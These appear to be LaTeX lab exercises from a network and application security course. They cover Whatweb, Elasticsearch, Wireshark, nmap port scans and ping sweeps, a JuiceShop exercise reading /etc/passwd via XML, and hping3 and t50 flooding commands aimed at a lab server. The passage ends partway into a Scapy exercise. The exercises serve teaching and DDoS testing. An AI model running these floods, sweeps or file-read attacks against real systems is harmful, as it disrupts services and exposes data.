Try the program Whatweb locally your workstation


{\bf Purpose:}\\
Running Whatweb will allow you to analyse which technologies are used in a web site.

I usually save the command and the common options as a small script:
\begin{alltt}
#! /bin/sh

whatweb -v -a 3 $*
\end{alltt}


{\bf Suggested method:}\\
Run the program from your Kali Linux VM towards a site of you own choice.

\begin{alltt}
user@KaliVM:~$ whatweb -a 3 www.zencurity.com
http://www.zencurity.com [301 Moved Permanently] HTTPServer[nginx], IP[172.16.58.3], RedirectLocation[https://www.zencurity.com/], Title[301 Moved Permanently], nginx
https://www.zencurity.com/ [200 OK] Email[<EMAIL>], HTML5, HTTPServer[nginx], IP[172.16.58.3], Title[Home Page], X-UA-Compatible[IE=edge], nginx
\end{alltt}


{\bf Hints:}\\
If the tool is not available first try: \verb+apt-get install *thetool*+

Some tools will need to be checked out from Git and run or installed from source.

{\bf Solution:}\\
When you have tried the tool and seen some data you are done.

{\bf Discussion:}\\
How does this tool work?

It tries to fetch common files left or used by specific technologies.





\chapter{Optional: Postman API Client 20 min}
\label{ex:postman-api}

%\hlkimage{10cm}{kali-linux.png}

{\bf Objective:}\\
Get a program capable of sending REST HTTP calls installed.


{\bf Purpose:}\\
Debugging REST is often needed, and some tools like Elasticsearch is both configured and maintained using REST APIs.

{\bf Suggested method:}\\
Download the app from
\link{https://www.postman.com/downloads/}

Available for Windows, Mac and Linux.

{\bf Hints:}\\
You can run the application without signing in anywhere.

{\bf Solution:}\\
When you have performed a REST call from within this tool, you are done.

Example: use the fake site \link{https://jsonplaceholder.typicode.com/todos/1} and other similar methods from the same (fake) REST API

If you have Elasticsearch installed and running try: \link{http://127.0.0.1:9200}

{\bf Discussion:}\\
Multiple applications and plugins can perform similar functions. This is a standalone app.

Tools like Elasticsearch has plugins allowing decoupling of the API and plugins. Example: \link{https://www.elastic.co/what-is/elasticsearch-monitoring} and \link{https://www.elastic.co/what-is/open-x-pack}



\chapter{Optional: Use Ansible to install Elastic Stack}
\label{ex:basicansible}


{\bf Objective:}\\
Run Elasticsearch

{\bf Purpose:}\\
See an example tool used for many integration projects, Elasticsearch from the Elastic Stack

{\bf Suggested method:}\\
We will run Elasticsearch, either using the method from:\\{\footnotesize
\url{https://www.elastic.co/guide/en/elastic-stack-get-started/current/get-started-elastic-stack.html}}

or by the method described below using Ansible - your choice.

Ansible used below is a configuration management tool \url{https://www.ansible.com/}

I try to test my playbooks using both Ubuntu and Debian Linux, but Debian is the main target for this training.

First make sure your system is updated, as root run:

\begin{minted}[fontsize=\footnotesize]{shell}
apt-get update && apt-get -y upgrade && apt-get -y dist-upgrade
\end{minted}

You should reboot if the kernel is upgraded :-)

Second make sure your system has ansible and my playbooks: (as root run)
\begin{minted}[fontsize=\footnotesize]{shell}
apt -y install ansible git
git clone https://github.com/kramse/kramse-labs
\end{minted}

We will run the playbooks locally, while a normal Ansible setup would use SSH to connect to the remote node.

Then it should be easy to run Ansible playbooks, like this: (again as root, most packet sniffing things will need root too later)

\begin{minted}[fontsize=\footnotesize]{shell}
cd kramse-labs/suricatazeek
ansible-playbook -v 1-dependencies.yml 2-suricatazeek.yml 3-elasticstack.yml
\end{minted}

Note: I keep these playbooks flat and simple, but you should investigate Ansible roles for real deployments.

If I update these, it might be necessary to update your copy of the playbooks. Run this while you are in the cloned repository:

\begin{minted}[fontsize=\footnotesize]{shell}
git pull
\end{minted}

Note: usually I would recommend running git clone as your personal user, and then use sudo command to run some commands as root. In a training environment it is OK if you want to run everything as root. Just beware.

Note: these instructions are originally from the course\\
Go to \url{https://github.com/kramse/kramse-labs/tree/master/suricatazeek}

{\bf Hints:}\\
Ansible is great for automating stuff, so by running the playbooks we can get a whole lot of programs installed, files modified - avoiding the Vi editor \smiley

Example playbook content
\begin{alltt}
apt:
      name: "{{ packages }}"
    vars:
      packages:
        - nmap
        - curl
        - iperf
        ...
\end{alltt}

{\bf Solution:}\\
When you have a updated VM and Ansible running, then we are good.

{\bf Discussion:}\\
Linux is free and everywhere. The tools we will run in this course are made for Unix, so they run great on Linux.



\chapter{Optional: Getting started with the Elastic Stack - 60 min}
\label{ex:dateformats}

%\hlkimage{10cm}{kali-linux.png}

{\bf Objective:}\\
Get a working Elasticsearch, so we can do requests.

{\bf Purpose:}\\
Elasticsearch uses REST extensively in their application.

{\bf Suggested method:}\\
either use the
\emph{Getting started with the Elastic Stack}
\link{https://www.elastic.co/guide/en/elastic-stack-get-started/current/get-started-elastic-stack.html}

OR my Ansible based approach - which some already ran.

The ansible is described in exercise \ref{ex:basicansible} on \pageref{ex:basicansible}

{\bf Hints:}\\
We dont really need a lot in the Elasticsearch database, and you can run most tasks with zero data. Graphs will not be as pretty though.

{\bf Solution:}\\
When you have a running Elasticsearch you are done, and ready for next exercise.

The web page for the getting started show multiple sections:
\begin{itemize}
\item Elasticsearch - the core engine, this must be done manually or with Ansible
\item Kibana - the analytics and visualization platform
\item Beats - data shippers, a way to get some data into ES
\item Logstash (optional) offers a large selection of plugins to help you parse, enrich, transform, and buffer data from a variety of sources
\end{itemize}

Each describes a part and are recommended reading.

{\bf Discussion:}\\
We could have used a lot of other servers and service, which ones would you prefer?

If you have access to Azure, you can try Azure REST API Reference\\ \link{https://docs.microsoft.com/en-us/rest/api/azure/}

\chapter{Optional: Making requests to Elasticsearch - 15-75min}
\label{ex:es-rest-api}

%\hlkimage{10cm}{kali-linux.png}

{\bf Objective:}\\
Use APIs for accessing Elasticsearch data, both internal and user data.

{\bf Purpose:}\\
Learn how to make requests to an API.

{\bf Suggested method:}\\
Go to the list of exposed Elasticsearch REST APIs:\\
\link{https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html}

The Elasticsearch REST APIs are exposed using JSON over HTTP.

Select a category example, Cluster APIs, then select Nodes Info APIs. This will show URLs you can use:

\begin{minted}[fontsize=\footnotesize]{shell}
# return just process
curl -X GET "localhost:9200/\_nodes/process?pretty"
# same as above
curl -X GET "localhost:9200/\_nodes/_all/process?pretty"

curl -X GET "localhost:9200/_nodes/plugins?pretty"

# return just jvm and process of only nodeId1 and nodeId2
curl -X GET "localhost:9200/\_nodes/nodeId1,nodeId2/jvm,process?pretty"
# same as above
curl -X GET "localhost:9200/\_nodes/nodeId1,nodeId2/info/jvm,process?pretty"
# return all the information of only nodeId1 and nodeId2
curl -X GET "localhost:9200/\_nodes/nodeId1,nodeId2/_all?pretty"
\end{minted}

When you can see this works, then feel free to install X-Pack and monitoring plugins

{\bf Hints:}\\
Pretty Results can be obtained using the pretty parameter.
\begin{quote}
When appending ?pretty=true to any request made, the JSON returned will be pretty formatted (use it for debugging only!). Another option is to set ?format=yaml which will cause the result to be returned in the (sometimes) more readable yaml format.
\end{quote}

Lots of tutorials exist for accessing Elasticsearch

A couple of examples:
\begin{itemize}
\item \link{https://aws.amazon.com/blogs/database/elasticsearch-tutorial-a-quick-start-guide/}
\item \link{https://www.digitalocean.com/community/tutorials/how-to-install-elasticsearch-logstash-and-kibana-elastic-stack-on-ubuntu-18-04}
\end{itemize}

{\bf Solution:}\\
When you have seen examples of the API, understand the references with underscore, like \verb+_nodes+ and pretty printing you are done.

I recommend playing with Elasticsearch plugins and X-pack.\\
\link{https://www.elastic.co/downloads/x-pack}

Note: In versions 6.3 and later, X-Pack is included with the default distributions of Elastic Stack, with all free features enabled by default.

Also Kibana can be used for creating nice dashboards and become applications more or less.

{\bf Discussion:}\\
You can also try calling the REST API from Python

Similar to what we did previously in this course:
\inputminted{python}{programs/rest-1.py}


\chapter{Small programs with data types 15min}
\label{ex:c-types}

{\bf Objective:}\\
Try out small programs similar to:
\inputminted{c}{programs/int1.c}

\begin{alltt}
user@Projects:programs$ gcc -o int1 int1.c && ./int1
First debug int is 32767
Second debug int is now -32768
\end{alltt}

{\bf Purpose:}\\
See actual overflows when going above the maximum for the selected types.


{\bf Suggested method:}\\
Compile program as is. Run it. See the problem.

Then try changing the int type, try with signed and unsigned. Note differences

{\bf Hints:}\\
Use a calculator to find the maximum, like $2^{16}$, $2^{32}$ etc.

{\bf Solution:}\\
When you have tried adding one to a value and seeing it going negative, you are done.

{\bf Discussion:}\\


\chapter{Pointers and Structure padding 30min}
\label{ex:structure-padding}

{\bf Objective:}\\
Look at some real code from Suricata and Zeek, note how they prevent structure padding.

{\bf Purpose:}\\
These software applications usually used for security dissect raw packets, which cannot be trusted.

{\bf Suggested method:}\\
Download the source for some software - either of :
\begin{list2}
\item Zeek from \url{https://zeek.org/get-zeek/}
\item Suricata from \url{https://www.openinfosecfoundation.org/download/}
\end{list2}

Unpack using \verb+tar zxf+ and use an editor to look up DNS or other packets.

{\bf Hints:}\\
DNS is a complex protocol, but looking at the header files should give you an idea. Try going into \verb+src+ and doing \verb+less *dns*.h+ or use an editor.


{\bf Solution:}\\
When you have seen the code for a few \verb+struct+ you are done.

If you notice structs with \verb+__attribute__((__packed__))+. Note: This ensures that structure fields align on one-byte boundaries - on all architectures.

Maybe also investigate the rest of the file \verb+decode-vxlan.c+ if you downloaded Suricata.

{\bf Discussion:}\\
Manual for Gnu C Compiler Collection can be found at:\\
\url{https://gcc.gnu.org/onlinedocs/gcc-5.2.0/gcc/Type-Attributes.html}


\begin{quote}
packed\\
This attribute, attached to struct or union type definition, specifies that each member (other than zero-width bit-fields) of the structure or union is placed to minimize the memory required. When attached to an enum definition, it indicates that the smallest integral type should be used.
\end{quote}

Bonus, can we find some structs missing this?



\chapter{Wireshark 15 min}
\label{ex:wireshark-install}

\hlkimage{10cm}{wireshark-http.png}


{\bf Objective:}\\
Try the program Wireshark locally your workstation, or tcpdump

You can run Wireshark on your host too, if you want.

{\bf Purpose:}\\
Installing Wireshark will allow you to analyse packets and protocols

See real network traffic, also know that a lot of information is available and not encrypted.

Note the three way handshake between hosts running TCP. You can either use a browser or command line tools like cURL while capturing

\begin{alltt}
curl http://www.zencurity.com
\end{alltt}


{\bf Suggested method:}\\
Run Wireshark from your Kali Linux

Open Wireshark and start a capture\\
Then in another window execute the ping program while sniffing

or perform a Telnet connection while capturing data

{\bf Hints:}\\
PCAP is a packet capture library allowing you to read packets from the network.
Tcpdump uses libpcap library to read packet from the network cards and save them.
Wireshark is a graphical application to allow you to browse through traffic, packets and protocols.

It is already on your Kali Linux, or do: \verb+apt-get install wireshark+

When running on Linux the network cards are usually named eth0 for the first Ethernet and wlan0 for the first Wireless network card. In Windows the names of the network cards are long and if you cannot see which cards to use then try them one by one.

{\bf Solution:}\\
When you have collected some HTTP/TCP sessions you are done.

If you want to capture packets as a non-root user on Debian, then use the command to add a Wireshark group:
\begin{alltt}
sudo dpkg-reconfigure wireshark-common
\end{alltt}

and add your user to this:
\begin{alltt}
sudo gpasswd -a $USER wireshark
\end{alltt}
Dont forget to logout/login to pick up this new group.

{\bf Discussion:}\\
Wireshark is just an example other packet analyzers exist, some commercial and some open source like Wireshark

We can download a lot of packet traces from around the internet, we might use examples from\\
\link{https://old.zeek.org/community/traces.html}



\chapter{Use a XML library in Python up to 60min}
\label{ex-python-library}

{\bf Objective:}\\
Try using a programing library in the Python programming language.

{\bf Purpose:}\\
See how easy it is to produce functionality by re-using existing functions and features available in a popular language.

{\bf Suggested method:}\\
Start by getting an XML file. Suggested method is to boot your Kali Linux and run a command like \verb+nmap -p 80,443 -A -oA testfile www.zencurity.com+. Output should be testfile.xml and two other files, grepable output \verb+testfile.gnmap+ and text output \verb+testfile.nmap+.

Then using Python import a library to parse XML and print a few values from the XML, or all of them.

Recommended values to print from the file:
\begin{list2}
\item Nmap version
\item Date of the Nmap run, note either use start and convert from Unix time or startstr which is a string
\item Nmaprun args - aka the command line
\item Host address
\item Ports like from the <port protocol="tcp" portid="443">
\item Anything you feel like
\end{list2}

{\bf Hints:}\\
One option is to use the Python ElementTree XML API:\\
\url{https://docs.python.org/2/library/xml.etree.elementtree.html}

Also - use Python3!

{\bf Solution:}\\
When you can read a file and process it using Python3.

Improvements, you might consider:
\begin{list2}
\item Use Python3 to run the Nmap process
\item Create command line parameters for the program, making it more useful
\item Pretty print using formatted output
\end{list2}
{\bf Discussion:}\\
Many examples contain code like this:

\begin{quote}
Getting child tag's attribute value in a XML using ElementTree

Parse the XML file and get the root tag and then using [0] will give us first child tag. Similarly [1], [2] gives us subsequent child tags. After getting child tag use \verb+.attrib[attribute_name]+ to get value of that attribute.
\end{quote}
\begin{minted}[fontsize=\footnotesize]{python}
>>> import xml.etree.ElementTree as ET
>>> xmlstr = '<foo><bar key="value">text</bar></foo>'
>>> root = ET.fromstring(xmlstr)
>>> root.tag
'foo'
>>> root[0].tag
'bar'
>>> root[0].attrib['key']
'value'
\end{minted}
Source:\\{\footnotesize \url{https://stackoverflow.com/questions/4573237/how-to-extract-xml-attribute-using-python-elementtree}}

What is the point of referring to a specific numbered child, when we specifically have the tags?!

What happens if the XML output changes a bit, so another tag is before the expected one! Dont trust Stackoverflow, unless you want a stack overflow \smiley.


\chapter{Django String Handling 20min}
\label{ex:django-string}

Recommendations for handling strings, how does Python help, how does Django handle strings, and input validation

{\bf Objective:}\\
Look into string handling in Django framework

{\bf Purpose:}\\
See that Python3 and Django includes functions for conversion, so you dont need to write these yourself.

{\bf Suggested method:}\\
First look into Python3 string handling, for example by looking at\\
\url{https://docs.python.org/3.7/library/text.html}
Note: There may be a newer version, feel free to check multiple versions.

Then look at Django string and unicode handling:
\begin{list2}
\item Look for string, url, encode, decode in\\ \url{https://docs.djangoproject.com/en/1.1/ref/utils/}
\item \url{https://docs.djangoproject.com/en/3.1/ref/unicode/}
\end{list2}

Note: There may be a newer version, feel free to check multiple versions.

{\bf Hints:}\\
Follow the URLs above, or more updated versions.

{\bf Solution:}\\
When you have looked up and seen the names of a few relevant functions like these below, you are done:

\begin{alltt}
django.utils.html escape(text)
django.utils.safestring
django.utils.dateparse
\end{alltt}

Note the links after where you can see the source implementation, for example:\\
\url{https://docs.djangoproject.com/en/2.2/_modules/django/utils/html/#escape}


{\bf Discussion:}\\
Are strings easy to work with?


\chapter{Truncate and Encoding Attacks JuiceShop up to 40min}
\label{ex:truncate-encoding}

{\bf Objective:}\\
Try out some of the problems described in the book using active methods.

{\bf Purpose:}\\
The book describes problems with XML but it can feel a bit fluffy unless you try and see for yourself. We have the JuiceShop which has errors similar to these.

{\bf Suggested method:}\\
There is an advanced error in the JuiceShop that can be abused for reading files using XML.
The vulnerability is related to the \emph{Use a deprecated B2B interface that was not properly shut down} - so read about that one first.

Then go to the retrieve the content of a file like \verb+C:\Windows\system.ini+ or
\verb+/etc/passwd+ from the server and see if you can read a file. If they exist.


{\bf Hints:}\\
Its ok to use the solution and work through the example.

Also make sure to use \verb+NODE_ENV=unsafe+ flag when running docker!

\begin{alltt}
export NODE_ENV=unsafe
docker run --rm -p 0.0.0.0:3000:3000 bkimminich/juice-shop
\end{alltt}

{\bf Solution:}\\
When you feel you understand the problem of sending XML files to an application, reading files, you are done.

{\bf Discussion:}\\
Another problem are the filtering done in applications.

In the JuiceShop we can access using URLs like this on the About Us page:\\
\url{http://localhost:3000/ftp/legal.md?md_debug=true}

Consider if the URL would match on .md and we were able to send a large filename ending in \verb+loongfilename.md+, but when truncated cut of exactly the \verb+.md+ part so we referenced another file.


\chapter{Sniff Your Browser 15min}
\label{ex:sniff-captive-portal}


{\bf Objective:}\\
See an example of a simple network application behaviour.

{\bf Purpose:}\\
Learn how to get started analysing network application traffic.

{\bf Suggested method:}\\
Modern browser check if they are online by making requests.

Which requests does a browser make by itself, even though you haven't entered URL yet?

Use Wireshark on your Kali or normal operating system. Start your capture, start your browser.

See if you can identify the traffic.

{\bf Hints:}\\
You should be looking for DNS and HTTP/HTTPS requests.

DNS uses port 53/udp and 53/tcp.

Also googling captive portal and Firefox reveals a setting you can turn of or on.

You might also have observed this when you proxied your browser through Burp suite in an earlier exercise.

{\bf Solution:}\\
When you have identified the traffic belonging to at least one browser you are done. Firefox should be easy.

{\bf Discussion:}\\
Does initiating this from a browser have privacy implications?

Your internet provider can see when you are home, when you start your browser etc. Requests made are often with a lot of extra information, like User-Agent and distinguishable.

Example, my son uses an iPhone, but I use an Android. One user might use Windows 7, while another uses Windows 10 - traffic will be different.



\chapter{Execute nmap TCP and UDP port scan 20 min}
\label{ex:nmap-synscan}


{\bf Objective:} \\
Use nmap to discover important open ports on active systems

{\bf Purpose:}\\
Finding open ports will allow you to find vulnerabilities on these ports.

{\bf Suggested method:}\\
Use \verb+nmap -p 1-1024 server+ to scan the first 1024 TCP
ports and use Nmap without ports. What is scanned then?

Try to use \verb+nmap -sU+ to scan using UDP ports, not really possible if a firewall is in place.

If a firewall blocks ICMP you might need to add \verb+-Pn+ to make nmap scan even if there are no Ping responses

{\bf Hints:} \\
Sample command: \verb+nmap -Pn -sU -p1-1024 server+ UDP port scanning
1024 ports without doing a Ping first

{\bf Solution:}\\
Discover some active systems and most interesting ports, which are 1-1024 and the built-in list of popular ports.

{\bf Discussion:}\\
There is a lot of documentation about the nmap portscanner, even a book by the author
of nmap. Make sure to visit \link{http://www.nmap.org}

TCP and UDP is very different when scanning. TCP is connection/flow oriented and requires a handshake which is very easy to identify. UDP does not have a handshake and most applications will not respond to probes from nmap. If there is no firewall the operating system will respond to UDP probes on closed ports - and the ones that do not respond must be open.

When doing UDP scan on the internet you will almost never get a response, so you cannot tell open (not responding services) from blocked ports (firewall drop packets). Instead try using specific service programs for the services, sample program could be \verb+nsping+ which sends DNS packets, and will often get a response from a DNS server running on UDP port 53.


\chapter{Discover active systems ping and port sweep 15 min}
\label{ex:nmap-pingsweep}
\hlkimage{5cm}{nmap-zenmap.png}

{\bf Objective:}\\
Use nmap to discover active systems and ports

{\bf Purpose:}\\
Know how to use nmap to scan networks for active systems. These ports receive traffic from \emph{the internet} and can be used for DDoS attacks.

Tip: Yes, filtering traffic further out removes it from processing in routers, firewalls, load balancers, etc. So making a stateless filter on the edge may be recommended.

{\bf Suggested method:}\\
Try different scans,
\begin{itemize}
\item Ping sweep to find active systems
\item Port sweeps to find active systems with specific ports
\end{itemize}

{\bf Hints:} \\
Try nmap in sweep mode - and you may run this from Zenmap

{\bf Solution:}\\
Use the command below as examples:
\begin{itemize}
\item Ping sweep ICMP and port probes: \verb+nmap -sP 10.0.45.*+
\item Port sweeps 80/tcp and 443/tcp: \verb+nmap -p 80 10.0.45.*+
\item Port sweeps UDP scans can be done: \verb+nmap -sU -p 161 10.0.45.*+
\end{itemize}

{\bf Discussion:}\\
Quick scans quickly reveal interesting hosts, ports and services

Also now make sure you understand difference between single host scan
10.0.45.123/32, a whole subnet /24 ~250 hosts 10.0.45.0/24 and other more advanced targeteting like 10.0.45.0/25 and 10.0.45.1-10

We will now assume port 80/443 are open, as well as a few UDP services - maybe we can use them in amplification attacks later.

\chapter{TCP SYN flooding 30min}
\label{ex:syn-flood}

{\bf Objective:}\\
Start a webserver attack using SYN flooding tool hping3.

{\bf Purpose:}\\
See how easy it is to produce packets on a network using hacker programs.

The tool we will use is very flexible and can produce ICMP, UDP and TCP using very few options. This tool is my primary one for doing professsional DDoS testing.

\begin{alltt}\footnotesize
-1 --icmp
       ICMP  mode,  by  default  hping3  will  send  ICMP echo-request, you can set other ICMP
       type/code using --icmptype --icmpcode options.

-2 --udp
       UDP mode, by default hping3 will send udp to target host's port 0.  UDP header  tunable
       options are the following: --baseport, --destport, --keep.
\end{alltt}

TCP mode is default, so no option needed.


{\bf Suggested method:}\\
Connect to the LAB network using Ethernet! Borrow a USB network card if you dont have one.

Start your Kali VM in bridged mode, try a basic TCP flooding attack against the server provided by the instructor, or your own Debian server.

Try doing the most common attacks TCP SYN flood using hping3:

\begin{alltt}
hping3 --flood -p 80 -S 10.0.45.12
\end{alltt}

You should see something like this:
\begin{alltt}\footnotesize
HPING 10.0.45.12: NO FLAGS are set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 10.0.45.12 hping statistic ---
352339 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
\end{alltt}

You can try different ports with TCP flooding, try port 22/tcp or HTTP(S) port 80/tcp and 443/tcp


{\bf Hints:}\\
The tool we use can do a lot of different things, and you can control the speed. You can measure at the server being attacked or what you are sending, commonly using ifpps or such programs can help.

By changing the speed we can find out how much traffic is needed to bring down a service. This measurement can then be re-checked later and see if improvements really worked.

This allows you to use the tool to test devices and find the breaking point, which is more interesting than if you can overload, because you always can.
\begin{alltt}\footnotesize
-i --interval
       Wait  the  specified  number  of  seconds or micro seconds between sending each packet.
       --interval X set wait to X seconds, --interval uX set wait to X micro seconds.  The de‐
       fault  is  to  wait one second between each packet. Using hping3 to transfer files tune
       this option is really important in order to increase transfer rate. Even  using  hping3
       to  perform  idle/spoofing  scanning  you should tune this option, see HPING3-HOWTO for
       more information.

--fast Alias for -i u10000. Hping will send 10 packets for second.

--faster
       Alias for -i u1. Faster then --fast ;) (but not as fast as your computer can send pack‐
       ets due to the signal-driven design).

--flood
       Sent  packets  as fast as possible, without taking care to show incoming replies.  This
       is ways faster than to specify the -i u0 option.
\end{alltt}

{\bf Solution:}\\
When your team has sent +1 million packets per second into the network, from one or two laptops - you are done.

{\bf Discussion:}\\
Gigabit Ethernet can send up to 1.4 million packets per second, pps.

There is a presentation about DDoS protection with low level technical measures to implement at\\
{\footnotesize \link{https://github.com/kramse/security-courses/tree/master/presentations/network/introduction-ddos-testing}}

Receiving systems, and those en route to the service, should be checked for resources like CPU load, bandwidth, logging. Logging can also overload the logging infrastructure, so take care when configuring this in your own networks.


\chapter{Bonus: TCP other flooding 15min}


{\bf Objective:}\\
Start a webserver attack using TCP flooding tool hping3.

{\bf Purpose:}\\
Run various other common attacks

TCP mode is default, so no option needed.


{\bf Suggested method:}\\
Connect to the LAB network using Ethernet! Borrow a USB network card if you dont have one.

Start your Kali VM in bridged mode, try a basic TCP flooding attack against the server provided by the instructor, or your own Debian server.

\begin{alltt}
hping3 --flood -p 80 -R 10.0.45.12
\end{alltt}

You should see something like this:
\begin{alltt}\footnotesize
HPING 10.0.45.12: NO FLAGS are set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 10.0.45.12 hping statistic ---
352339 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
\end{alltt}


{\bf Hints:}\\
Common attacks use the SYN, as shown in previous exercise, but other popular
TCP attacks are RST, PUSH, URG, FIN, ACK attacks - setting one or more flags in the packets.

\begin{alltt}
-L  --setack     set TCP ack
-F  --fin        set FIN flag
-S  --syn        set SYN flag
-R  --rst        set RST flag
-P  --push       set PUSH flag
-A  --ack        set ACK flag
-U  --urg        set URG flag
-X  --xmas       set X unused flag (0x40)
-Y  --ymas       set Y unused flag (0x80)
\end{alltt}





{\bf Solution:}\\
When your team has sent +1 million packets per second into the network, from one or two laptops - you are done.

{\bf Discussion:}\\
If an attacker varies the packets they can be harder to filter out, and the attacks succeed.

\chapter{Bonus: UDP flooding NTP, etc. 15min}


{\bf Objective:}\\
Start a webserver attack using UDP flooding tool hping3.

{\bf Purpose:}\\
See how easy it is to produce packets on a network using hacker programs.

The tool we will use is very flexible and can produce ICMP, UDP and TCP using very few options. This tool is my primary one for doing professsional DDoS testing.

This time we will select UDP mode:

\begin{alltt}\footnotesize
-2 --udp
       UDP mode, by default hping3 will send udp to target host's port 0.  UDP header  tunable
       options are the following: --baseport, --destport, --keep.
\end{alltt}

{\bf Suggested method:}\\
Connect to the LAB network using Ethernet! Borrow a USB network card if you dont have one.

Start your Kali VM in bridged mode, try a basic TCP flooding attack against the server provided by the instructor, or your own Debian server.

\begin{alltt}\footnotesize
hping3 --flood -2 -p 53 10.0.45.12
\end{alltt}



{\bf Hints:}\\

Try doing the most common attacks:
\begin{itemize}
\item UDP flooding, try port 53/udp DNS, 123/udp NTP and port 161/udp SNMP
\end{itemize}

{\bf Solution:}\\
When your team has sent +1 million packets per second into the network, from one or two laptops - you are done.

{\bf Discussion:}\\
Many networks don't send and receive a lot of UDP traffic. If you measure a baseline of the protocols needed on a daily basis you might be able to configure a profile for normal usage, and filter out bad traffic in case of attacks.

A starting point might be to allow full bandwidth for TCP, 10\% UDP and 1\% ICMP. This will ensure that even if an attacker is sending more than 1\% ICMP only a fraction reaches your network and systems.

This is especially effective for protocols like ICMP which is not used for large data transfers.

\chapter{Bonus: ICMP flooding 15min}

{\bf Objective:}\\
Start a webserver attack using ICMP flooding tool hping3.

{\bf Purpose:}\\
See how easy it is to produce packets on a network using hacker programs.

The tool we will use is very flexible and can produce ICMP, UDP and TCP using very few options. This tool is my primary one for doing professsional DDoS testing.

This time we will select UDP mode:

\begin{alltt}\footnotesize
-1 --icmp
       ICMP  mode,  by  default  hping3  will  send  ICMP echo-request, you can set other ICMP
       type/code using --icmptype --icmpcode options.
\end{alltt}

{\bf Suggested method:}\\
Connect to the LAB network using Ethernet! Borrow a USB network card if you dont have one.

Start your Kali VM in bridged mode, try a basic TCP flooding attack against the server provided by the instructor, or your own Debian server.

Try doing the most common attack:
\begin{itemize}
\item ICMP flooding with echo
\end{itemize}

\begin{alltt}\footnotesize
hping3 --flood -1 10.0.45.12
\end{alltt}





{\bf Hints:}\\
Common attacks use ICMP ECHO, but other types can be sent in the packets.

\begin{alltt}\footnotesize
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
\end{alltt}


{\bf Solution:}\\
When your team has sent +1 million packets per second into the network, from one or two laptops - you are done.

{\bf Discussion:}\\
If you have a 10G network connection, do you REALLY need 10Gbps of ICMP traffic?

Probably not, and routers can often filter this in wirespeed.

Routers have extensive Class-of-Service (CoS) tools today and a starting point might be as shown in Juniper Junos policer config:

\begin{alltt}\footnotesize
term limit-icmp \{
    from \{
        protocol icmp;
    \}
    then \{
        policer ICMP-100M;
        accept;
    \}
\}
term limit-udp \{
    from \{
        protocol udp;
    \}
    then \{
        policer UDP-1000M;
        accept;
    \}
\}
\end{alltt}

This effectively limit the damage an attacker can do. Your firewall and IDS devices will be free to spend more processing on the remaining protocols.



\chapter{Bonus: Misc - stranger attacks 15min}

Various other attacks are possible, sending illegal combinations of flags etc.



{\bf Objective:}\\
Start a webserver attack using the packet generator and flooding tool t50.

{\bf Purpose:}\\
See how easy it is to produce packets on a network using hacker programs.

The tool we will use is very flexible and can produce ICMP, UDP and TCP using very few options. This tool is another primary one for doing professsional DDoS testing.

Apart from TCP,UDP and ICMP this tool can also produce packets for dynamic routing testting, OSPF, EIGRP and other esoteric RSVP, IPSEC, RIP and GRE.

\begin{alltt}\footnotesize
  $ t50 -help
  T50 Experimental Mixed Packet Injector Tool v5.8.3
  Originally created by <NAME> <<EMAIL>>
  Previously maintained by <NAME> <<EMAIL>>
  Maintained by <NAME> <<EMAIL>>

  Usage: t50 <host[/cidr]> [options]
  Common Options:
      --threshold NUM           Threshold of packets to send     (default 1000)
      --flood                   This option supersedes the 'threshold'
      --encapsulated            Encapsulated protocol (GRE)      (default OFF)
   -B,--bogus-csum              Bogus checksum                   (default OFF)
      --shuffle                 Shuffling for T50 protocol       (default OFF)
   -q,--quiet                   Disable INFOs
      --turbo                   Extend the performance           (default OFF)
   -l,--list-protocols          List all available protocols
   -v,--version                 Print version and exit
   -h,--help                    Display this help and exit
...
   Some considerations while running this program:
    1. There is no limitation of using as many options as possible.
    2. Report t50 bugs at https://gitlab.com/fredericopissarra/t50.git.
    3. Some header fields with default values MUST be set to '0' for RANDOM.
    4. Mandatory arguments to long options are mandatory for short options too.
    5. Be nice when using t50, the author DENIES its use for DoS/DDoS purposes.
    6. Running t50 with '--protocol T50' option sends ALL protocols sequentially.

\end{alltt}


{\bf Suggested method:}\\
Connect to the LAB network using Ethernet! Borrow a USB network card if you dont have one.

Start your Kali VM in bridged mode, try a basic TCP flooding attack against the server provided by the instructor, or your own Debian server.

Run the help page, and browse options.
\begin{alltt}\footnotesize
t50 -h
\end{alltt}





{\bf Hints:}\\
The tools we use can do a lot of different things and using the command line options can produce high speed packet attacks without having to program in C ourselves.

Try doing a special attack:
\begin{itemize}
\item t50 with '--protocol T50' option sends ALL protocols, so try:\\
\verb+t50 --protocol T50 10.0.45.12+
\end{itemize}


{\bf Solution:}\\
When your team has sent +1 million packets per second into the network, from one or two laptops - you are done.

{\bf Discussion:}\\
Gigabit Ethernet can send up to 1.4 million packets per second, pps.

There is a presentation about DDoS protection with low level technical measures to implement at\\
{\footnotesize \link{https://github.com/kramse/security-courses/tree/master/presentations/network/introduction-ddos-testing}}

Receiving systems, and those en route to the service, should be checked for resources like CPU load, bandwidth, logging. Logging can also overload the logging infrastructure, so take care when configuring this in your own networks.




\chapter{Scapy 30 min}
\label{ex:scapy}

{\bf Objective:}\\
Try the library Scapy locally your workstation


{\bf Purpose:}\\
Running Scapy will allow you to produce network packets according to some pattern.

\begin{alltt}\footnotesize
sudo pip3 install scapy
git clone https://github.com/kramse/frankenpacket.git
cd frankenpacket/hlk-mpls-vxlan-datacenter/

python3 mpls-vxlan-datacenter.py
\end{alltt}


{\bf Suggested method:}\\
Run the program from your Kali Linux VM.

Research the Scapy documentation.\\
\link{https://scapy.readthedocs.io/en/latest/}

How to produce fuzz like output?\\
Hint; \url{https://scapy.readthedocs.io/en/latest/usage.html?highlight=fuzz#fuzzing}

{\bf Hints:}\\
Scapy requires very little Python knowledge, also the protocols are "stacked" after each others. The example includes multiple layers of encapsulation.

\begin{minted}[fontsize=\footnotesize]{python}

# VLAN
